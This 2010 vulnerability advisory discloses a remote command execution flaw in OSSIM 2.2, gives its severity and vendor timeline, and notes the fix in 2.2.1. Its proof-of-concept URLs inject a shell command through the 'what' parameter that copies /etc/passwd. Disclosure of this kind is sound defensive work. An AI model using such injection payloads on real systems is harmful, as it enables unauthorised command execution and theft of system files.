



**Advisory Name:** Remote Command Execution in OSSIM

**Vulnerability Class:** Remote Command Execution

**Release Date:** 03-16-2010

**Affected Applications:** Confirmed in OSSIM 2.2. Other versions may also be affected.

**Affected Platforms:** Multiple

**Local / Remote:** Remote

**Severity:** High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

**Researcher:** Nahuel Grisolia

**Vendor Status:** Fixed in OSSIM 2.2.1

**Reference to Vulnerability Disclosure Policy:** [http://www.cybsec.com/vulnerability\\_policy.pdf](http://www.cybsec.com/vulnerability_policy.pdf)

**Vulnerability Description:**

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer running OSSIM.

**Proof of Concept:**

```
http://192.168.X.X/ossim/sem/storage_graphs.php?uniqueid=199&what=;cat /etc/passwd > /tmp/passwd;  
http://192.168.X.X/ossim/sem/storage_graphs2.php?uniqueid=199&what=;cat /etc/passwd > /tmp/passwd;  
http://192.168.X.X/ossim/sem/storage_graphs3.php?uniqueid=199&what=;cat /etc/passwd > /tmp/passwd;  
http://192.168.X.X/ossim/sem/storage_graphs4.php?uniqueid=199&what=;cat /etc/passwd > /tmp/passwd;
```

**Impact:**

Direct execution of arbitrary code in the context of Web server user.

**Solution:** Fixed in OSSIM 2.2.1. See <http://www.alienvault.com/community.php?section=News>



**Vendor Response:**

02-03-2010 – Initial contact

03-11-2010 – OSSIM 2.2.1 is available

**Contact Information:**

For more information regarding the vulnerability feel free to contact the researcher at **ngrisolia <at> cybsec <dot> com**

**About CYBSEC S.A. Security Systems:**

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit [www.cybsec.com](http://www.cybsec.com)

(c) 2010 - CYBSEC S.A. Security Systems